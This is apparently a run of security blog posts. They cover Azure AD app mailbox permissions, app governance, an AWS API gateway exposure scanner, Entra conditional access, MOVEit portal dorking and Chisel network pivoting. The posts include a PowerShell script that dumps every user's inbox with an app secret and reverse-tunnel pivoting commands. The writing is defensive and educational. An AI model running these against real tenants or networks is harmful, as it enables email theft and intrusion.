There are scenarios when a datacenter hosted app or a cloud hosted app needs access to one or more Exchange Online mailbox. In such cases, typically an Azure AD app is created with permissions to read/write access to mailboxes/calendars and contacts. Issue here is by default the access is provided for ALL the mailboxes. If an attacker gets holds of the app, the could potentially access emails from sensitive mailboxes and exfilter them.
The setup
The Azure AD app with mail.read/mail.send permissions. The credential (secret) has been created for this app and used by a service app named “service1” . The service1 app will read email from the mailbox service1.mailbox@redteamsimulation.com.
However, one can make use of the credentials for this Azure AD app to get emails from not only originally intended mailbox for the service but also sensitive mailboxes such as those of CEO and CFO as you can see in the below screenshot.
Code to get emails from all the mailboxes
Prerequisites : Install and import ExchangeOnlinemanagement module and Microsoft.Graph modules
# Import the required module
Import-Module Microsoft.Graph
$err_string= ''
# Set the necessary variables
$clientId = "7477abb4-xxxx-xxxx-xxxx-xxxxxx"
$tenantId = "c2b84b0b-xxxx-xxxx-xxxx-xxxxxxx"
$ClientSecretCredential = Get-Credential -Credential $clientId
# Connect to Microsoft Graph
Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $ClientSecretCredential -NoWelcome
# Get all users in the tenant
$users = Get-MgUser
# Loop through each user
foreach ($user in $users) {
# Get the user's mailbox
try {
$mailbox = Get-MgUserMailFolderMessage -UserId $user.Id -MailFolderId 'Inbox' -ErrorAction Stop
$test = $user.Mail
write-host "####### Reading emails for mailbox " -nonewline
write-host $test -foreground red -nonewline
write-host " ##########"
write-host "Found " -nonewline
write-host $mailbox.Length -foreground red -nonewline
write-host " email(s) "
foreach ($message in $mailbox) {
# Print the message subject and received date
Write-Output (" ----------------------------------------------------")
Write-Output ("Subject: " + $message.Subject)
Write-Output ("Received: " + $message.ReceivedDateTime)
$body = $message.Body.Content -replace '<[^>]+>',''
$body = $body.trim()
Write-Output ("Body: " + $body)
}
write-host "`n"
}
catch
{
$err_string = $_ | Out-String
}
if ($err_string -inotmatch "The mailbox is either inactive, soft-deleted, or is hosted on-premise")
{
Write-Host $err_string
}
}
# Disconnect from Microsoft Graph
Disconnect-MgGraph
Limiting access to only certain mailboxes
Below powershell will : a) Create a mail-enabled security group with the mailbox we want to only allow to be accessed from the app. b) Create an application access policy for the app with access restricted to only the mail enabled group created in step a)
In my tests, the application access policy took effect in 60-90 minutes and after that accessing other mailboxes would give an error. Below is the output running the same script as above.
Midnight blizzard attack on Microsoft involved abuse of permissions on Azure AD/OAuth apps. Therefore, Its important to take stock of all the apps and their permissions and evaluate if we need those permissions and reduce them if we can.
Per the post, the attacker abused Office 365 Exchange Online full_access_as_app role, which allows access to mailbox. However, Microsoft Graph API also allows an app to use privileged mail.read/mail.write/mail.readwrite which can be abused to have similar effect.
This post has details on how to get all the apps and their permissions and potential way to prevent/detect.
What are Azure AD / Entra ID apps
On a high level, you can use Azure AD app to access any resources in Azure and M365 and that includes emails as well.
When you create an Azure AD application, you’re essentially registering your application with Azure AD, obtaining an application ID (also known as client ID) and optionally a client secret or certificate for authentication purposes and permissions to authorize them to access resources. This allows your application to authenticate users against Azure AD and access resources on behalf of those users.
Because attackers can abuse the high privileged permissions on Azure AD app to access Azure/M365 , It’s important to govern the apps and their permissions and below are few ways :
Get all the Azure AD apps and their permissions
Do we even need that “prod” Azure AD app?
Do we really need those permissions on the “prod” Azure AD app?
Apply conditional access policy on the apps e.g. IP restriction
Apply restrictions on domain users to register Azure AD/Entra apps
Understand roles and users in those roles which can manage Azure AD applications
Splunk monitoring and detection
Get all the Azure AD apps and their permissions
Powershell script to export all the azure AD apps and their permissions
Install the Azure AD module. install-module azuread
Permission Type (“Role” means application permissions and “Scope” means delegated permissions
Splunk output
If you are using Splunk and using ingesting the activity logs from M365 using Splunk Add-On for Microsoft 365, you can use below query to get all the app role assignments.
index="o365" Operation="Add app role assignment to service principal."
| spath path=ModifiedProperties{}.NewValue output=NewValues
| spath path=Target{}.ID output=NewTargetValues
| eval _time = strptime(CreationTime, "%Y-%m-%dT%H:%M")
| eval AppName = mvindex(NewValues, 6)
| eval perm = mvindex(NewValues, 1)
| eval permdesc = mvindex(NewValues, 2)
| eval target = mvindex(NewTargetValues, 3)
| table _time, AppName, perm, target
| stats values(perm) as AllAPIPermissions, values(target) as API by AppName
Using MSIdentityTools
Mr. Merill Fernando [Principal Product Manager, Entra ] released a fantastic video for the update in the MSIdentityTool to generate the apps and permissions. Works like a charm.
Do we even need that “prod” Azure app?
Now that you have the list of the apps from the script above, you want to chedk if the apps in the list are even being used. Login to Microsoft Entra Admin Center > Monitoring & Health > Service Principal sign-ins > Filter for last 7 days If its a production app, and if they are not in the sign-in events screen for last 7 days, you want to ask the app owners if this app is needed any more. Get the email confirmation and remove the app.
Do we really need those permissions on the “prod” Azure AD app?
Sometimes, apps are assigned permissions which they really dont need. For example, mail.send/mail.read/mail.readwrite are assigned to an app to work with couple of mailboxes. However, the permissions are meant to work with ALL mailboxes and can be abused by an attacker.
Implement Conditional Access for Azure AD apps
Azure AD apps do not honor the conditional access policies to enforce IP restriction, for example. A potential solution is to use Microsoft Entra Workload ID premium feature.
Apply restrictions on domain users to register Azure AD/Entra apps
Login to Azure portal > Microsoft Entra ID > User settings. Ensure the “User can register applications” is set to “No”.
This takes out the risk of a domain user registering an app and giving it permissions – although an admin still needs to grant consent on it. Having said that, even with the above setting in place there are roles which can register applications. An example below is role “Application developers”.
This is another reason why best security practices should need to be applied for the privileged roles.
Understand roles and users in those roles which can manage Azure AD applications
Apart from the “Application developer” role which can register Azure AD apps, below two are privileged roles which can add/update credentials to an existing Azure AD apps as well. So, if the attacker compromises users in the below roles, they can quickly escalate privileges by adding credentials to an existing Azure AD app which has high privileges like full_access_as_app role or mail.read/send and exfilter emails out of mailboxes.
Therefore, we should be careful assigning these roles and if absolutely needed ensure they arew cloud-only accounts with MFA turned on.
The REST API gateways created in AWS have a default endpoint [https://{api_id}.execute-api.{region}.amazonaws.com] and If not explicitly secured, they are publically accessible from internet by default. Wrote a script which would find such APIs across all regions under all the AWS accounts in the AWS organizations and takes screenshot their webpage for evidence. It will also generate a CSV file which may be ingested by a SIEM such as Splunk for alerting and remediation.
The script when executed will produce a CSV file in the below format showing all the API URLs and which one could be publically accessible and which security setting are applied on the API if API is not accessible.
It is important to discover and actually test the endpoints from an external environment to reduce the false positives for detection becuase APIs can be secured by various means (described below)
Most common ways to secure AWS Rest APIs
API Token e.g. Check for specific token value in the pre-defined x-api-header.
Lambda Authorizers e.g. Custom lamda code to check for specific headers/secrets before allowing access.
Resource policies e.g. Allow access from certain IP addresses and deny others.
Authentication/Authorization from with in the backend code (e.g. Lambda).
How to use the script
We follow below two steps :
Set up an IAM user with approperiate permissions in the management account to assume a given role in the other accounts.
Set up the role to assume in all the workload accounts using CloudFormation and StackSets.
The script makes use of Access Key on the IAM user “boto3user” in the management account. boto3user has the permission to assume role in the workload account and get temporary credentials to access the API gateways in the workload accounts. Diagram below :
In my AWS organizations, I have 3 AWS accounts out of which “Account 1” is the management account.
Setting up the IAM user and permissions in the management account
Create a IAM user named boto3user.
Create an access key and secret for the IAM user.
Create a policy with below and assosciate it with the IAM user.
ScanAWSAPIPolicy
This allows the user to assume the role named ScanAWSAPIRole in all the AWS accounts in the AWS organization. Since the script will iterate through the AWS organizations as well, we provide the ListAccounts and DescribeAccount permission as well.
We will use a CloudFormation template for the role to be created and Stackset to deploy the template across all the AWS accounts in the AWS organization.
On the management account, navigate to CloudFormation > StackSets > Create StackSet
3. In the “Specify template” section, choose “Upload a template file” and browse to select the previously saved CloudFormation template
4. Specify a name for the StackSet and optional description.
5. In the deployment options screen, set the deployment target as “Deploy to Organization” and specify US East as the region.
6. In the review screen, acknowledge and submit.
StackSet has been deployed with success.
Verify the role has been created across all the accounts
We can see the role “ReadOnlyAPIgatewayAssumeRole” has been created in the AWS accounts. The “Trusted entities” is the AWS Account number of the management account which is trusted to assume the “ReadOnlyAPIgatewayAssumeRole” role.
If we look at the role, we see the Policy named “ReadOnlyAPIGatewayPolicy” is attached to it with GET/HEAD operations on apigateway just like we specified in the CloudFormation template.
when we look at the “Trusted Entities”, we notice the IAM user named “boto3user” in the management account. This means It is this user which has the permission to assume the “ReadOnlyAPIgatewayAssumeRole” role in all the AWS accounts and call the API gateway GET/HEAD operation.
Azure AD app do not honor conditional access policies levaraging IP restrictions.
Suppose we have a conditional access policy which restricts access to any app from any IP except certain IP ranges via a named location (in this case using my ISP network).
Interactive user login – Blocked
You will notice the user interactive sign-in gets blocked when coming from an IP outside of what is allowed.
Login using a service principal for Azure AD app – Allowed
In this section, we will see if you have credentials for Azure AD app, you can access resources depending on what permissions the app has. In this example, we would read all the emails.
Setup
Lets setup an Azure AD app with mail.read permission and a credential.
Code to get emails from all the mailboxes
Prerequisites : Install and import ExchangeOnlinemanagement and Microsoft.Graph modules
Replace the clientId and tenantId with the clientId of the app and the tenant id for your tenant respectively. When the script is run, please supply the credential created for the app.
# Import the required module
Import-Module Microsoft.Graph
$err_string= ''
# Set the necessary variables
$clientId = "7477abb4-xxxx-xxxx-xxxx-xxxxxx"
$tenantId = "c2b84b0b-xxxx-xxxx-xxxx-xxxxxxx"
$ClientSecretCredential = Get-Credential -Credential $clientId
# Connect to Microsoft Graph
Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $ClientSecretCredential -NoWelcome
# Get all users in the tenant
$users = Get-MgUser
# Loop through each user
foreach ($user in $users) {
# Get the user's mailbox
try {
$mailbox = Get-MgUserMailFolderMessage -UserId $user.Id -MailFolderId 'Inbox' -ErrorAction Stop
$test = $user.Mail
write-host "####### Reading emails for mailbox " -nonewline
write-host $test -foreground red -nonewline
write-host " ##########"
write-host "Found " -nonewline
write-host $mailbox.Length -foreground red -nonewline
write-host " email(s) "
foreach ($message in $mailbox) {
# Print the message subject and received date
Write-Output (" ----------------------------------------------------")
Write-Output ("Subject: " + $message.Subject)
Write-Output ("Received: " + $message.ReceivedDateTime)
$body = $message.Body.Content -replace '<[^>]+>',''
$body = $body.trim()
Write-Output ("Body: " + $body)
}
write-host "`n"
}
catch
{
$err_string = $_ | Out-String
}
if ($err_string -inotmatch "The mailbox is either inactive, soft-deleted, or is hosted on-premise")
{
Write-Host $err_string
}
}
# Disconnect from Microsoft Graph
Disconnect-MgGraph
Running the above code by supplying the secret for the below and we can see we are still able to access all the emails. The service principle sign-in logs clearly note the access is from outside the IP address (from a foreign country) but the conditional access policy didn’t apply.
Using Microsoft Entra Workload ID to implement the conditional access
To address this, Microsoft has a new feature named Microsoft Entra Workload ID. Bad thing here is It needs Its own premium license. Good thing is you can try it out to see if this even works! Login to the Entra ID portal as a global admininstrator and search for Workload Identities and activate the trial of 200 licenses for 90 days.
Then login to Microsoft Admin portal, and assign the users with “Micsoroft Entra Workload ID” license.
Once the license is assigned, login as the GA and licensed user to the the Entra portal. Go to Protection > Conditional Access > Create. There we see “Workload Identities” under “What does this policy apply to”. Now, we can select the app we want to apply the conditional access with IP restriction.
Running the same code above would now show error noting the access has been blocked by the conditional access policy
Service principal sign-in logs would show the failure as well
Conclusion
Microsoft Entra Workload ID premium looks promising and goes much beyond the conditional access. Its worth looking at its capabilities.
Progress Software has released a security advisory for a privilege escalation vulnerability (CVE-2023-35708) in MOVEit Transfer —a Managed File Transfer Software.
This post shows a way to find MoveIt portals for given set of companies for further investigation. The default page of MoveIt portals generally has /human.aspx in the URL, so we can use Google dork to look for MoveIt portals for given list of companies
Couple of ways to approach this – either use straight up google dorking which may lead to Google blocking the IP after overuse (but you can always change IPs 🙂 ) or use make use of Google Search API. Both the approaches in below.
If the image above reminds you of that funny scene in Friends and you are interested in learning about Chisel for lateral movement in a network, please read on. 🙂
In penetration testing terms, pivoting is a technique of using one compromised machine to access another.
Let’s take the below example as a problem statement.
Problem statement
Our attacker box can access the jumpbox as they both are in the same network (192.168.44.0/24) but It cant access (noted by the red arrow) the web server which is in a different network (10.10.10.0/24). How can the attackerbox move laterally through the jump box to access the web server?
Solution
We will use a tool named chisel to create a tunnel between the attackerbox and jumpbox and then pivot (lateraly move) from the jumpbox to the web server.
The process
For simplicity, we assume that the attacker has the RDP access on the jumpbox. We may think why we need pivoting and why can we just get on the jumpbox and from there exploit the web server. Thing is – this pivoting technique, as we see later will help us use full power of attacker kali pen test toolset and may potentially enable us to exploit the other hosts in the 10.10.10.0/24 network apart from just that web server.
/home/kali/tools is available of the window box with chisel.exe in it. Copy it to a local directory c:\temp.
Configure proxychain on the attacker kali box
Edit the /etc/proxychain4
sudo nano /etc/proxychains4.conf
Comment out socks4 line and add the socks5 (seperated by tab)
socks5 127.0.0.1 1080
Setup chisel as server on the attacker kali box
On Kali box, set the execute permission on chisel
chmod +x chisel
Setup chisel as server on the attacker box. The –reverse switch creates a reverse tunnel from the attackerbox to the jumpbox.
./chisel server -p 8000 --reverse
Setup chisel as client on the jumpbox
On the Jump server, copy the chisel (windows flavor) to a local directory and run as a client
chisel client 192.168.45.158:8000 R:socks
When we start the chisel as client, immediately we see the session/tunnel established with the chisel server on the attacker kali box.
Execute commands on the jumpbox from attacker box using proxychains
Now that we have the tunnel established between the chisel server on the attackerbox and the chisel client on the jumpbox, we can execute any command on the jumpbox via proxychains.
proxychains nmap -sT -p 443 -Pn 10.10.10.2
Now we see are able to access the web server from the attackerbox.
How does this work? What is the flow of events?
The flow of nmap request traffic from attackerbox to the web server and back in the above example can be depected via below sequence diagram. Same can be applied for any command executed using proxychains program from the attackerbox. [Please click on the image below to view larger size]
proxychains nmap -sT -p 443 -Pn 10.10.10.2
In the above command we are using proxychain to execute nmap, so proxychains program intercepts the traffic generated by nmap.
Since we have configured proxychains on the attackerbox to use SOCKS5 proxy on 127.0.0.1:8080, the proxychains program will route through that SOCKS5 proxy.
SOCKS5 proxy receives the nmap traffic and and forwards to the chisel server running on teh attackerbox.
Chisel server on attackerbox forwards traffic to the chisel client on the jumpbox via the chisel tunnel.
Jumpbox can forward the nmap “request” traffic to the web server.
After the web server processes the scan request, It generates the nmap response.
The response is sent from the jumpbox chisel client back to the attackerbox chisel server.
Chisel server on attackerbox forwards the response to the proxychains program
Proxychains outputs the nmap response to the terminal which originally issued the nmap command.
Holiday Hack Challenge is a CTF challenge organized by SANS and Counter Hack during Christmas each year. This year the CTF was named “KringleCon 4: Jack’s back”. It had total 13 objectives completing which one would reveal the narrative and win the CTF.
These objectives skill tested various significant areas of penetration testing – namely Active directory attacks, Cryptographic attacks, SQL injection, Server Side Request Forgery, Network Packet analysis to name a few and something very new – FPGA programming! As you progressed, the difficulty level of the objectives increased. It was a mind-numbing and awesome experience to complete all those objectives. Below is the write-up of those objectives including the answers.